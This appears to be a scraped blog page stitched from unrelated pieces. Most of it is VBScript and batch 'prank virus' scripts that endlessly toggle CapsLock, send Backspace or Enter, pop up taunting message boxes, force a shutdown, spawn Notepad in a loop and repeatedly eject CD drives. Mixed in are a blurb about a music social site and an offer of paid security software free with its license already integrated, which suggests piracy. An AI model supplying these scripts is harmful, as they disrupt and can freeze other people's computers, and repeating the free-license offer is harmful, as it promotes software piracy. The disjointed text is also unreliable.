Open Notepad and Type :
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
mRockstar.com, it’s social networking website plus a music based community. The pre-phase of the website was launched on April 5, 2011 to let people reserve their mRockstar Usernames
If you buy this product from the Official Webpage, it will cost you more than $49 per year. But now you’ve got a chance to get it for absolutely free. You don’t need any license key for this package because it has already been integrated with the package. Just download it and you’ve a fully featured Internet security system which will protect your PC from Viruses, Trojans, Malwares, Hackers and every type of threat that can harm your computer. Grab this offer
Avast antivirus is one of the top leading antivirus and it is available for free download.You will get a fully functional 30 day trial version of avast if you download directly from their website.To activate it for one year you need to register with them.Once registered you will get your Serial license key into your mailbox.
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
MsgBox “stop me..! if you can”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
@echo off
msg * I don’t like you
shutdown -c “Hahahah You are Doomed” -s
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo “
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re “
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? “
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
MsgBox “Let’s rock and roll”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Email:- iqbalmann22@gmail.com